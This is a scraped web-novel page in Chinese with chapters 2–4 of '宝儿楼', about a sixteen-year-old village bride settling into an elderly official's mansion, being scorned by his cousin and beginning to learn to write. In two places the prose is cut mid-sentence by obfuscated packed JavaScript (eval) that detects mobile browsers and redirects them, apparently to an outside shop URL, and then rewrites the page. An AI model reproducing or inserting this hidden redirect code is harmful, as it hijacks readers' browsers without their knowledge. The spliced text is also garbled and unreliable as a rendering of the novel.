《宝儿楼》 2. 新婚 婚礼很简单，一切都是康行鸿操办的，毕竟他有钱、也有经验。 杨娘子抱着仪贞直掉眼泪。养了十六年的女儿，从那么一小点儿到如今这般亭亭玉立的模样，怎么舍得她嫁个老头？怎么舍得她嫁那么远？ 仪贞也哭，她舍不得这里的一切，舍不得爹娘，舍不得栖雁村，舍不得河，舍不得这里的人，也舍不得越合。可戴着那些沉甸甸的金簪金镯金链子，仪贞又觉得自己的哭，再真心也有些虚伪了。 婚后第二天，行鸿便带着她往金陵去了。到此时，仪贞才知道，他是奉皇命来江南地区巡视农务和铜币铸造的御史，这是个临时的差遣，他在京都的实际官职是中书侍郎。 坐着他的青帷马车，不过一个时辰，便到了金陵。 仪贞悄悄掀起车帘，她从没见过的车水马龙、游人如织就这么直直撞进眼底。 路边有人卖衣裳，红的黄的，棉的绸的，不一而足，却都比不上她今日穿的这件烟霞紫软缎衫子，又柔软又服帖，怎么也压不出褶儿。 马车在城里行了约莫一炷香时间，方停在一扇朱门前。仪贞扶着行鸿的手、踩着轿凳下了车，稳当当站在青石台阶上。 仆人开了门，二人并肩走进去。 穿过门厅，豁然是个天井，四四方方的，左右各摆了只太平缸，缸里曳着几尾红鲤。 行鸿径自往左手边的月洞门去了，仪贞紧了两步追上。过了门，眼前又是另一重天地。一道游廊曲曲折折往前伸着，廊外两侧植着葱葱茏茏的翠竹，竹影里立了对鹤，正就着仆人的手啄食。 仪贞没见过鹤，唬了一跳，紧紧贴上行鸿的手臂。他笑着安慰她：“养着玩的，不伤人。” 游廊尽头是垂花门，过了垂花门，终于到正院。迎面先是一铺砖雕影壁，绕过去，正房才全然在目了。五楹七架的格局，堂屋的门大敞着，可望见里头悬着的中堂。 院里则栽着两株老银杏，各自约有二人合抱粗。右边那一株下还扎了个秋千。此院一步一景，处处藏了巧思。仪贞睁圆了眼看也看不过来。这是她头一回进这般大的宅子，自然看什么都新鲜。只是心里有些着慌，微微抿着嘴，怕露出那没见识的寒酸相。 行鸿笑道：“这宅子原是我二十岁弱冠时母亲赠我的生辰礼，有些年头了。小是小了点，也有些旧，但我们俩对付这几个月应是够的。等回了京都我常住的榴园，那儿比这宽敞些。你闲下来还能办宴，约些太太小姐们来家里玩，我是很喜欢热闹的，想来你也会喜欢。待会儿叫云苓她们——” 仪贞早看得眼花缭乱，毕竟这里一间屋就顶上她家整个院子大了。行鸿的话她没怎么听入耳，只是愣愣望这偌大院子，脱口而出：“我们两个住哪间？” 行鸿的话戛然而止。 按康家规矩，主君和主母本该分院而居，他原也打算让云苓收拾旁边的院子给仪贞住，这话倒让他愣了一下。 乡下人家是没有这些规矩的。夫妻俩同屋同寝，到老了都是这样。若无病无灾无龃龉，鲜有分床。 罢了，重新收拾也麻烦得很。 他笑道：“你随我来。” 寝居很宽敞，被雀梅纹样的落地花罩门隔成了三间，东厢置了座紫檀木的千工拔步床，床洞宽大纵深，睡她和行鸿是绰绰有余的。仪贞望着这一床鸳鸯绣被，浅浅翘起唇瓣。她喜欢大床。大床不逼仄、不局促，有种从容宽裕的姿态。更重要的是，她不必与行鸿皮贴着皮肉贴着肉地睡觉。 啊，不嫌弃他的老，是决计不可能的。 “仪贞，这衣柜子也是你的。” 她转过身来。 是座四门开的黑漆嵌螺钿花鸟衣柜，行鸿随手拉开一扇柜门，笑道：“我前儿教人又给你做了几套衣裳，可惜要填满这里是不够的。且将就着罢。我是出来办差的，许多事不方便，如今连带着你也跟着受委屈。待回了京都，库里很有些个好料子，每年都是送人了，往后把那些拿来给你裁衣裳才是正经。诶，云苓，”他忽而想起什么似的，“太太的《找衣册》往后是你管么？” 那叫云苓的丫鬟含笑应道：“衣裳首饰都是我管，器皿什么的交给云蝶了。” 行鸿点点头：“就是这样。”又道，“你下去罢，顺道问问陈大去，应二爷什么时候到。” 云苓“嗳”了一声，便垂首退下了。 仪贞已在床沿坐下，两手稍稍撑在身后，歪着头睨他。“什么是《找衣册》？” “哦，这个，”行鸿走来，坐在她旁边，“日后你的衣裳首饰不会少，样样皆需登记造册，一则找起来不麻烦，二则来日若丢了什么，也有个对证。” 仪贞侧着脸看他：“哪里就需要那么多。” “多么？你嫁给我，本就受了委屈。我自问难以弥补，只好拿这些俗物当作小小补偿，以慰汝心。” 仪贞心想，俗物有俗物的好，康行鸿久居人上，自是不懂这份好。她嘴角噙着一点笑纹，像含在云里的月牙儿，欲显未显的。仿佛故意憋着笑。 康行鸿瞧见了，问：“笑什么？” “你说话跟做文章似的。”仪贞弯了嘴角，“你是跟所有人都这样么？还是只同我这样？” 行鸿道：“这有什么分别？” “若你单只同我这样，可见我在你这有些特别，那我就不生气了。” “咦？生气？”行鸿也笑了，“哪儿不满意么？” 仪贞洒然笑着：“你用那么文绉绉的话，说拿俗物给我做补偿。可偏偏我就是个俗人，只爱些俗物，只听得懂俗话。我被你看透了，好没面子，自然要生气。” 行鸿失笑望向她。 仪贞被他看得不好意思，脸皮微微一红：“你看我干什么？”她轻轻将身子向后一仰，倒在那张拔步床上。发髻压得脑袋痛，仪贞索性把鬓上的簪子除了，花钗卸了，任满头青丝铺散在鸳鸯被上，似浓墨染过的层云。 “昨天是婚礼，今天又坐了半日的车，我倒累了。你不累么？你不躺一躺么？” 她知道她这样的举动，于一个男人而言，于一个刚刚与她成亲的男人而言，是很有些意味的。 出嫁之前，娘虽不满，可木已成舟，还是认认真真告诉她何为男女之事。后面管婚礼程式的嬷嬷也教过她。仪贞明白，康行鸿的年岁让他在这件事上是乏力的，所以她得主动些，不独是做好这桩婚姻买卖，也是让她自己得些快活。 而况，就在刚刚，她有了一个新的愿望，须得康行鸿才能满足她，别人都不管用。 既要求他，便总得有些舍得。 她躺在被子上，忍不住提前说出心愿：“你能教我识字么？我也想像你那样说文绉绉的话。” 她是识过字的，可才学了“人”“大”“天”这些，外公就过世了。娘说识字没用，她又那么忙，自然不肯教仪贞。如今，她连自己的名儿都不会写！ 行鸿的目光一直追在她身上，柔柔缓缓。他一根一根收起她随手丢下的簪钗，握在掌心。他不是不懂她的心思，可他已经这般岁数了。 昨夜他们并没有同房。 行鸿垂下眸子。仪贞并不知道，于他而言，她光是躺在那儿，光是一根头发丝儿，光是不经意的一瞥眼一勾唇，便散发着蓬蓬勃勃的生命力，灼灼耀目。他就像久在冬夜里行走的人，乍然碰见了仪贞这盆火，不是不贪这暖和光，只是怕靠得太近、太猛，把火扑了。 他舍不得。 再怎么保养也会松弛的皮肤，日渐衰退的气力，她瞧见了，也会被吓跑罢？ 他舍不得。 思及此，他在心底狠狠嘲弄了自己一遭。毕竟不分院、与她同院的主意，也是他起的。 他把簪钗搁在床头柜上：“你想识字，自是极好。只是我未必教得好，改日请个西席——” 仪贞扯住他的袖子：“我不要别人。”她翻了个身，一手撑住腮，“就你来教，不成么？你说话好听，跟你学，我才说得你那样的文章话。” “那好罢。只是这些时日我有些忙，恐不能常常陪你。过几日要来一位应二爷，他是我表弟，与你同龄，他的太太也会一起过来。那是位极有才气、极有见识的女子，谈吐也极好，你若不介意，可先与她见见。待办完了江南的差，我再从头仔细教你，好么？” 得他首肯，仪贞的心愿已了了泰半。后面的话也未认真听，只点头应着。 行鸿说完了话，垂眸见她还攥着自己的袖子，说道：“你既累了，先歪着歇会儿罢。” 仪贞轻声：“你呢？” 他想了想：“我去府衙里，晚上回来。”说罢，他站起身来。那袖子蛇一样游出了仪贞的手。 嘿。他躲她呢！ 仪贞心里发笑。 她点点头，目送他往外走。 等瞧不见他的身影，仪贞又躺了回去，终于忍不住笑出声。 他这样的大人物，也会躲她么？ 仪贞一双黑瞋瞋的眼珠子，滴溜溜地打量起这间新房。头顶是承尘，描金绘彩的，有一些花鸟样的图案，她并不能全部说出名字。她睁着眼睛望了一回，又闭上眼，只觉周遭静得落针可闻。唯有外头隐隐约约传来人声，隔着重重院落，落在耳朵里就像蚊蚋嗡嗡。 她翻了个身子，好软的床呐。鼻尖触着缎面，滑溜溜的，好舒服的被子呐。 她想起出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361253|199748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁前一晚，娘一边淌眼抹泪，一边嘱咐她：“到了人家家里一定要守人家的规矩。”“凡事让着些，别由着性子来。”那会儿仪贞坐在床沿，也是拿眼珠子转着看这间住了十六年的屋子。土墙，木窗，四条腿儿的桌子，桌上叠两只碗，有一只豁了口，爹拿去鲁麻子那儿钉好了，花了六文钱。 朦朦胧胧的，那土墙、木窗、旧桌子、豁口碗变了模样，周遭是四门黑漆柜、落地花罩门、千工拔步床。与她说话的人也成了行鸿。她还记得新婚那夜，他说：“你只管做你自己就好了，康家如今除了我，便是你当家。不必太局促。” “哎。”仪贞叹了口气，又翻了个身。 手腕子上发出脆响，是连在一起的三圈金素镯，撞在了一起。她举起手来就着光看，那镯子便顺着腕子往下一滑。这镯子真好看，她想。娘嫁给爹的时候，陪嫁是一对儿绞丝银镯和一枚银戒指，戴了二十年，早磨得发白。而今她这一回嫁，浑身上下披金戴银，像出征的将士披了层铠甲。 铠甲！ 仪贞觉着这个词好。在这桩婚事里，她可不像个战士么？ 仪贞笑吟吟地赏鉴着她的战利品。 行鸿果真是很晚才回来。 并非刻意躲她，实是这钦差不好当。圣上这遭派他过来，是要他把江南的农政、钱政一块儿办了，如今还没开始，求见的人已排到了丹凤街。 行鸿忙，仪贞则清闲。她这太太当得有些师出无名，三四天了也没人来巴结她。好在她暂也想不到这一层，光这座宅子就够她探索一阵子。 在这宅子里，仪贞顶喜欢正堂前老银杏下的秋千。 今儿是她成为康太太的第四天，她穿了件红色地四合如意纹、天华锦裁就的齐胸襦裙，上头则是件香色窄袖圆领对襟衫子，外罩豆青色的圆领褙子。行鸿临走前，又挑了条浅绯色的纱罗披帛，说正衬她今日的装扮。 仪贞站在秋千上，云苓和云蝶在后头推她。 起初只是轻轻地送，一摇一摇的。仪贞不尽兴，教她们用力些，云苓便加了把力，秋千猛地荡了起来。一来二去，愈荡愈高，她几乎要飞起来，仪贞紧紧攥住绳子。 风灌进了裙子，把裙子兜得鼓鼓囊囊的，宛若一朵倒扣的红花。 “好，好！就是要这样才好！”她欢喜叫道。 云苓和云蝶对视一眼，也抿着嘴笑，又用力推了一把：“您小心呀！” 秋千荡到最高处时，仪贞觉得自己都快要飞出去了，整个康家宅子都匍匐在她脚下。前院传来几声鹤唳，那两只宝贝也被她唬住了么？真痛快！ 仪贞不禁笑起来，清泠泠的笑声随风荡去。 她搭在肩上的披帛也应着风，游龙一般飞了出去。 “诶！它跑了！”仪贞目光追着披帛。 恰在此时，影壁后转出来个生人。那披帛不偏不倚，顺着风，竟游到了他跟前。 应菩寿一愣，伸出手接住了。浅绯色的纱罗披帛立时软了身子，在他指缝间垂落下来，仿佛兜住了西天的一铺晚霞，教人心神微滞。仰起头，秋千上的女子放肆张扬地冲他笑着。 “夫君，怎么了？” 他身后又转出个华服女子，眉眼和婉、身量苗条，也仰起头望向仪贞。 云苓和云蝶忙停了手，秋千渐渐缓下来。 仪贞喘着粗气，胸膛起伏，她的头发已经从髻里散了些出来，粘在额上、鬓角，汗津津的。她从秋千上跳下来，脸蛋红扑扑。 仪贞热气腾腾地走上前，扬起笑：“你们就是应二爷和应太太罢？我——” 应菩寿立在原地，已在几息之间将她打量完毕。 浑身的乡野气。他忍不住在心底嗤了一声，随手把披帛丢给旁边的丫鬟。 良好的教养让他只是淡淡一瞥，平静地截断她的话：“你就是乡下来的那个么？” 宋太太攀住他的手臂，温声道：“兰夔，你不要这样。”她笑着，“我们先进屋，等兄长回来再谈那件事罢。” 宋太太朝仪贞一笑，旋即又把笑意敛得干干净净。她径自吩咐身后的小厮与丫鬟把行李搬去客房院里，便挽着应菩寿的手往正厅去了。 仪贞怔在影壁前，望这对高门夫妇并肩而行。在他们前方不远处，是三扇洞开的隔扇门，正中那扇，框了一对高悬的乌木制中堂。她不认得，行鸿告诉她，上头写的是：“芝兰有根庭有玉，麒麟在阁凤在楼。” 他又解释：“这是说子孙有才德，家族方能兴旺。” 仪贞懂，他们是嫌她乡下来的，不跟他们一样是有才有德的麒麟凤凰呢。 她淡淡一笑，拿帕子把汗擦了，紧两步跟了上去。 3. 假凤凰 仪贞走进屋时，应菩寿与宋太太已坐下了，跟随他们夫妇的小厮与丫鬟也择定位置站好，倒把仪贞衬得像个外人。 仪贞暗暗撇嘴，可想到如今她才是嫂子，是主人，不好凭着性子丢开他们一走了之的。她觑着眼看过去，应菩寿的目光始终落在庭前的银杏，宋太太也侧了身子，同她身后的女婢说些什么，并不看她。仪贞行至桌前，斟下两盏茶，一壁递到二人手旁的高脚茶几上，一壁笑道：“行鸿要晚些时候才回来，你们急么？我找人去告他一声好了。” 应菩寿和宋太太尚未开口，那女婢先笑道：“哎呀，徐小姐，我家二爷和太太是不大吃这放久了的茶呢，还是泡的茶……” 仪贞的手悬在半空。 宋太太轻笑一声：“多嘴。还不重新去煮一壶来。” 女婢这才垂首退下。 宋太太方道：“您请坐罢。谅我不知如何称呼。徐小姐，可你确已是兄长的妻子了；康太太么，总有些别扭。你还很年轻罢？有二十岁么？”她见仪贞咬着唇立在那儿，又笑道，“快请坐呀，不必拘束的。” 沉默了好半晌的应菩寿也开了口，却是同门旁侍立的小厮说的：“你们都下去罢。” 一时间，正堂里只剩下他们三人。 仪贞立在那儿，倒也不恼。 她自小在栖雁村长大，村里人吵起架来比这不知刻薄了多少。宋太太绵里藏针的这点功夫，刮在她身上倒没那么疼。 她索性自己寻了把椅子坐下，笑了笑：“你随意叫便好了。我娘喊我贞儿，行鸿叫我仪贞，怎么喊都成。” 这话说得敞亮，倒让宋太太微微一怔：“你是个爽利人。” “是么，行鸿也说我说话直，不费心思去拐那个弯儿。” 应菩寿忽然嗤地笑了一声，很轻。他转头同宋太太道：“玉芬，你去办午膳罢。这里我与徐小姐说几句话。” 宋太太应了，站起身，把手放在他肩上：“和软些，她瞧着还小。” 应菩寿捏了捏她的手，点点头：“放心，我省得。” 待宋太太也走了，仪贞撇着嘴，只看裙裾下的黄花地兰绒毯。 应菩寿站起身，目光在仪贞身上又滚了一遍，才开口：“你直说罢，想要多少钱？” 仪贞猝然抬头。 眼前这个男子，眉目疏朗，神仪明秀，通身气派清贵，脸上却滞着冷肃之气，仿佛拒人于千里之外。 “一千两如何？够你一家三口几辈子的嚼谷了。” 仪贞直直望着他，先是没言语，而后竟笑了：“应大人，你这话问得有趣。我嫁的是康行鸿，做的是康太太，彩礼他已给了，你还要预备银钱做什么？” 应菩寿一怔。他惯于同官场上的吏员打交道，便是女子，也是同宋玉芬一样出身名门的大家闺秀。这些人说话行事皆有定式，进退有度，措辞婉转含蓄。倒是从未见过这样出身寒微、一股子乡野气的女人，更未想过有朝一日被她反将了一军。 应菩寿眯起眼：“你确实伶俐，怪道哄了兄长这么急慌慌地就要娶你。” 仪贞终于有些恼了，她拧了细眉：“好有意思的话，我什么样的人，你兄长什么样的人，我还能哄他么？你莫不是以为，是我先找上你兄长的罢？是谁走到栖雁村来，是谁说要娶我的？聘礼是他下的，花轿是他派的，婚书也是他领着我去官府签的。怎么是我哄他？” 应菩寿盯着她，面皮绷得很紧。从小到大，他并没有被人如此呛白过，更莫论身份如此卑贱的一个女人。他呼出一口浊气：“徐小姐，我就直说了罢。莫说你们徐家，便是整个栖雁村加起来，也够不上康家的门第。鄞州康氏的门楣，容不得你们这样粗野的人糟蹋。” 仪贞涨红了脸，她猝然起身，也恨恨地盯着他：“你——” “你知道兄长的祖上、父母是什么样的人物么？你知道先头的康太太是什么样的人物么？嫂嫂是平阳郡主的小女儿，祖上出过两任宰辅，乃密州名宦嫡长女。不单出身，嫂嫂族中男女更是无有不诵读诗书者。嫂嫂亦是傲视同侪，自记事起，习字念书、针线描绣、琴棋书画，无有不通。徐小姐，唯有这样的女子，方配得上鄞州康氏的门第。” 仪贞气得胸膛起伏，不仅仅是因应菩寿浓烈的恶意，更因他不长的一段话，她竟要反应好一会子，才听得懂！ 什么密州名宦、什么傲视同侪、什么琴棋书画无有不通，这些词她有些听得明白，也有些听不明白，偏偏这才是最刺人的。因为它们明晃晃地告诉她：你不配站在这儿，你连人家的话都听不全！ 仪贞很想开口回敬几句，可张了张嘴，话又堵在嗓子眼儿。她能说什么呢？说她也很能干，她会洗衣做饭、喂鸡种田？说她能挑几十斤的担子走好几里路还不歇气？这些本事在栖雁村是顶有用的，可放在应菩寿这儿，怕是连提都不值得一提。 她忽而觉得有些可笑。她站在康行鸿的堂屋里，穿着戴着康行鸿给她置办的行头，可骨子里还是那个蹲在河边洗衣裳的乡下丫头。应菩寿几句话，就能把她打回原形。 应菩寿看她脸涨得红红的，料想自己的话辱了她的自尊，因而又道：“你也不必妄自菲薄。你确实与嫂嫂有三分相似，也不怪兄长想着要娶你。等离了这儿，凭你的样貌，以及兄长与我给你的钱，你总能找个从前你够不上的人家，安安稳稳一辈子。” “应二爷，”仪贞皱起眉，“有一桩事，我才刚便与你讲了，你听不明白么？” 应菩寿冷冷看着她。 “你兄长娶我，是他自己愿意的。他五十六岁了，比我大四十岁，他比我清楚自己在做什么。你替他操这个心，他领你的情么？” 尽管早有准备，应菩寿心底还是不由吃了一惊。相差四十岁……这丫头才十六，比他还小六岁！ 仪贞继续说道：“你口口声声说什么康家的门楣，可行鸿自己都不在意，你一个表弟，操的哪门子心？你到底是怕我玷污了你两家的好名声，还是怕我分了你兄长的家产？” 这话说得又直又白，应菩寿的脸色彻底沉了下去，脸上红一阵白一阵。 从未有人胆敢如此与他说话。如今倒好，一个村女，一个连自己名字都未必会写的村女，竟敢指着他的鼻子说他贪图兄长的家产。 他额角青筋隐隐跳动：“小人之心！” 仪贞连忙接上话：“这我知道，什么小人之心猜君子之腹。我是小人，你是君子么？”她仰头说道，“我是康行鸿明媒正娶的太太，论辈分，是你应二爷的嫂子，你见着我，不叫一声嫂子也就罢了，开口闭口‘乡下来的’，问我要多少钱。这便是你们城里君子的好教养么？” 应菩寿脸色铁青，仍旧咬牙道：“好教养的话，你能听得懂么？” “你——”仪贞瞪起眼来。 她又立马把气压下去：“应大人，你放才说，要给我一千两银子离开你兄长。” 应菩寿一怔，旋即冷笑连连：“怎么？你又改主意了？” “不，”仪贞摇了摇头，“我是想说，你出的价太低了。” 应菩寿的冷笑又僵在脸上。 “你想想看，”仪贞掰起手指头，认真道，“行鸿说了，日后我的衣裳首饰都要登记造册，光这一柜子的衣裳、一箱奁的首饰，我虽不懂行市，可加起来也有小一千两了罢？更不要说往后的好处。你出一千两就让我走，那我可不是亏大了么？” 应菩寿瞪着她，一时竟分不清她是认真的还是故意消遣他。 “你要给你兄长省麻烦，不如劝他别给我打那么多首饰、裁那么多衣裳，别待我这么好。说不定不用你两头劝，我自己就跑了呢！” 他攥紧了拳头，指节捏得发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361254|199748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白：“泼妇！” 仪贞深吸一口，正欲再呛他一句，门外忽然传来一阵脚步声。 “说什么呢，这样热闹？”康行鸿含着笑意的声音传进来，不疾不徐，带着他一贯的温和。 仪贞与菩寿同时转过头去。 康行鸿站在门槛外，一身官袍打扮，身后跟着两个长随。他脸上带着笑，淡淡的，目光在仪贞与菩寿之间转了一圈，落在仪贞涨红的脸上，又落在菩寿铁青的面上，便什么都明白了。 他抬腿走了进来：“我还以为你要明天才能到呢。” 行鸿走到仪贞身旁，很是自然熟络地牵住她的手。仪贞低着头，胸口还在微微起伏着，像一只炸了毛的猫，还未平复下来。他微微一笑，轻轻捏了捏她僵硬的手。行鸿重新抬起眼：“兰夔，这是怎么了？你们在说什么？” 应菩寿抿了抿唇，没吭声。 “兰夔，”行鸿又唤了一声，这遭声气里多了一丝冷意，“既然没什么，便去前厅用膳罢。听说今儿的酒馔是你太太办的，她眼光好，我已两三年没吃到你们家的饭菜了。” “兄长。”应菩寿声音硬邦邦的，“愚弟以为，徐小姐并不堪成为榴园的女主人。” 仪贞抬了眼，恨恨地看他。 应菩寿继续道：“给个妾室，倒也罢了。若是作妻，嫂嫂和亭哥儿知道了，也要生气的。”他自觉已经让步许多。 “啊，原是这句话。”行鸿叹了口气，自在主座的太师椅坐下了，又示意仪贞也坐。仪贞看了应菩寿一眼，赌气似的，一屁股坐在行鸿旁边的太师椅上，把下首的座留给应菩寿。 “兰夔，”行鸿缓缓开口，“我知道你心里在想什么。你无非是觉得我老糊涂了，仪贞与我处处不般配，我娶她，丢了康家的脸面，是不是？” 正说话间，宋太太走了进来。 行鸿扬起笑：“弟妹，你也坐罢。” 他目光平静地望着这对夫妇：“兰夔，我身边兄弟少，论起亲厚来，你是头一个。这遭喊你过来，也是这样。我说句你们不爱听的话，仪贞是很好的，或许你们看不出来，只因你们拿了一双富贵眼看她，自然是左看右看，都看她个不满意。我若想要续弦，早几年便续了，京都合适的太太妇人并不稀薄，可遇见仪贞之前，我从未起过这个念头。因我也老了，不比年轻时那样。在这一点上，还是我匹配不上仪贞，她嘴上不嫌我，心里必然也有些委屈，我知道的。这也是你们不同意的一个原因。” 仪贞听了这番话，早就触动心肠，忍不住眼热鼻酸，悄悄拿手背抹泪。 行鸿又笑道：“我再与你们交一交心，不是你们夫妇，我断不会说下面的话。我们康家，从我祖父辈起就是单传，亭哥儿走在我先头，不曾留下一儿半女，我这一支，是断了。康氏族里那些纨绔什么样，兰夔你出仕这几年，不是不晓得，但凡他们当中有个立得起来的，我也未必走到如今。这是其一。其二，日后我死了，我的这些家产，早晚要被他们瓜分了去，能给你的也有限——我知道，你们俩是不缺我这点子钱的。若把这家业留给他们败光，还不如捐出去，这是我的真心话。如今仪贞来了，也好。她是很聪慧的，模样也好、说话也爽利，前儿她还说想读书习字呢，如今有几个女子有她这样的心气儿？只可惜，她出身差了些，这辈子的运道就比旁人差了一大截。所以，这些钱留给她，我是心甘情愿。” 行鸿转过脸儿，见仪贞低着头，那眼泪珠子一颗接一颗地滚落，啪嗒啪嗒洇湿了膝头的裙子。他垂眸望着她，眼里柔情万千：“兰夔，玉芬，横竖我没多少年活头了，早也到了致仕的年岁。外头若有风言风语，于我而言，并不算得什么。便是回密州养老去，也是情理之中。若你们俩觉得丢了面儿，日后我们少些往来便是了。我是很理解你们的，也望你们理解理解我。这是我的一点私心。” 4.写字与贪污 仪贞出了正堂，沿着游廊快步往她和康行鸿的院子走。 行鸿还在正堂跟应菩寿夫妇聊天，她是借口更衣才回来的。 仪贞步子很快，快到身后的丫鬟几乎要小跑着才能跟上。云苓和云蝶对视了一样，都不敢出声，只默默跟在后头。 一直回到院里，仪贞才停下来。她扶着廊下的石柱，大口大口地喘气。方才在正堂里憋着的那口气，此刻终于全然吐出。她的手忍不住发颤，并非是怕，而是气的。 姓应的狗眼看人低！ 可仪贞不光气应菩寿，她更气自己。她气自己连他说的话都要反应好一会儿才能听懂，气自己连一句文雅些的回嘴都想不出来，气自己明明气得要死，却只能像从前在栖雁村那样，跟他掰扯金镯子值多少钱、衣裳值多少钱。 仪贞嘴角一撇，忽而蹲下身来，把脸埋在膝盖里。 云苓和云蝶吓了一大跳，连忙凑过来：“太太，您怎么了？哪里不舒服么？” 仪贞闷声道：“没什么，我就是腿软。” 吃人嘴短，拿人手软。她徐仪贞一个穷乡僻壤里走出来的村丫头，嫁了个有钱有势的老头子，自然腿软。 “哼。”仪贞转了个脸，顺道蹭了蹭膝上的衣料。 好软、好舒服啊。 仪贞想，她恐怕要腿软一辈子了。 行鸿负手走进院里，只见仪贞小小的一团蹲在廊下，云苓和云蝶站在一旁踌躇得不行。他笑着同她们摆了摆手，等二云都退下了，他才走过来，捡了仪贞旁边的栏杆坐下，笑道：“太太，前头要摆饭了，你不去么？” 那颗簪金戴花的黑脑袋下传出声音：“哦。” “你要是不想去，我教人把饭菜端来就是了。”他温声道。 仪贞慢慢抬起头，眼睛还红红的：“还能这样么？” “这有什么的？你心情不好，不能见客。这不是个正经理由么？” “那么应大人和宋太太更要厌我了。” 行鸿笑起来：“难道你陪他们吃顿饭，他们就会喜欢你了么？” 仪贞直直望向他，忽而噗嗤一笑。 行鸿朝不远处招了招手，云苓小步走过来，他吩咐道：“去前院说一声，太太身子不舒服，就在院里自己吃了。待会子我陪他们吃。”待云苓去了，行鸿又垂眸看着仪贞，温声说道：“你今天没吃亏罢？” 光这一句话，仪贞眼睛又红了，嘴上还逞强：“他们两个加起来，也说不过我。你没瞧见么，应二爷气得脸都绿了。” 行鸿道：“那就好。兰夔最瞧不起软骨头，你今天硬气了一回，给他顶回去了，他反而会高看你一眼。” “我不稀罕他高看我。” 行鸿笑了笑：“他是家族里的老幺儿，从小到大做什么都顺风顺水，没吃过苦的。虽然有时说话不好听，可他心眼儿不坏。你今天让他吃了瘪，他大约要记你一辈子了。” “哼！”仪贞撇了撇嘴，“我不稀罕他记我一辈子！” “好，好。”行鸿应着。 仪贞想了想，哑着嗓子又问：“你这个表弟，怎么看上去比你小那么多？” “他小我三十四岁，就连亭哥儿都比他大十多岁呢。” 仪贞暗暗吸了口气。 行鸿放远目光，目向虚空：“他母亲是我母亲的血亲妹妹，姊妹两个便差了十二岁。他母亲出嫁时，因夫家有事，守了三年孝，她也等了三年，这就又差了三年。我是我母亲的独子，他上头却还有一个兄长、一个姐姐，岁数就这么差下来了。” 仪贞又道：“他这么年轻，还敢做你的主。” 行鸿失笑：“这就是他的性子，他人是很好的。其实这次请他来，我原是想引荐你们认识。我本以为，至少他和玉芬会接受你。” “他不好，我也不好。”仪贞盯着他，“是你好。你在他跟前夸我，在我跟前夸他，分明是你好。” “仪贞，我是老了，许多事情看开了。” “你怎么总说你老呢？”仪贞拧起细眉，“我不说，应二爷不说，就你自己过不去，老要提这话。我原本不嫌你老的，你总这么说，我真要开始嫌你了。” 行鸿笑着：“好，好，以后不说了。”他朝仪贞伸出手，“快起来罢。我要去前院了。” 仪贞搭上他的手，借着他的力站起来，腿却麻了，像无数根小针从脚底板往上扎。她一个踉跄，摔到行鸿怀里。她索性也坐下了，扯住他的袖子：“你等等我，我也过去。” 行鸿倒有些震惊：“你不必勉强自己。” 仪贞朝他飞了飞眉毛：“不是勉强，只因我人好，很大度，不跟应二爷计较。好了，我要去换件衣裳，刚刚荡秋千，出了一身汗，头发也乱了……” 行鸿哈哈笑起来。 午膳后仪贞回了自己院里，行鸿又去衙门里了，应菩寿夫妇则去秦淮河附近游逛。到了晚间，行鸿从衙门里回来，洗了个澡又坐在书房看案头的文书。仪贞沐浴完毕，借着给他斟茶研墨的名头，也进了书房。 还是得读书，不读书，以后就有更多的“应菩寿”“宋玉芬”瞧不起她。她走这一步，不就是为了过上好日子，不被人看瘪么？ 除了读书，仪贞闷头想了一下午，她觉得还得有个孩子。午间行鸿的话给了她警醒，康家的子侄不是好相与的，日后康行鸿过了身，她一个外姓女，娘家又不算是有力的依靠，她拿什么跟这些豺狼虎豹缠斗呢？行鸿这遭请应菩寿过来，想必也存了日后让他们帮衬她的心思。可惜可惜，他们第一次见面就聊撅了，仪贞以后还是只能靠自己。 茶已经斟好了，墨也研好了，可仪贞还没走。 她状似随意实则紧张小心地在一旁玫瑰椅上坐了下来，假模假样地拿了本有画的书翻着看。 可行鸿办公的时候实在认真，仪贞坐了快一炷香，他还没发现她。 仪贞心里发燥，重重地咳嗽了一声。 行鸿这才抬头，恍然看见她似的：“诶？你没去睡？” 仪贞挽起笑：“我陪你。” “谢谢你，不用陪的，你多睡会儿才是正经，我——”我年纪大了，觉少。 行鸿的话戛然而止，因他想起白日里仪贞说的，不许他说自己老。 “你什么？”仪贞问道。 “我马上就好了。”他笑着，一错眼，瞧见了仪贞膝上放的书，不由惊喜道，“你在读书啊？” 仪贞想，他终于看见了，终于注意到了，真不容易呐。 仪贞把书举起来：“我在看上头的画呢！不过，我也认得一点点字，比如这个——”她随手指了个字，“这是‘天’。” 行鸿含笑望着她。他怎会看不懂仪贞的小心思？ “你过来，我也看看。” 仪贞捧着书走过去了。 行鸿看了一眼，便知是哪本书。他翻了几页，指着上头的“徐”字：“来，看，这是徐，你的姓。你认识吗？” 仪贞忙凑过去看了：“现在认识了。” 行鸿取下一只狼毫，抽出一张空白的纸笺，又写下“仪贞”二字，才把纸笔推给她：“学字先把自己的名字学了，知道自己是谁，这是顶顶重要的。” 仪贞点点头，搬了张椅子过来，伏在案上认真摹写。 烛影晃动，红黄色的火舌在灯罩里跳跃。行鸿坐在那儿，淡淡地凝着她。这烛光给她明秀婉丽的脸上蒙了一层浅浅的蜜合色。她一笔一划，学得极认真。就是这股认真的劲头，这股巴望着过上好日子不停向前奔跑的劲头，勾着行鸿，牵着行鸿，让行鸿舍不得不帮她。 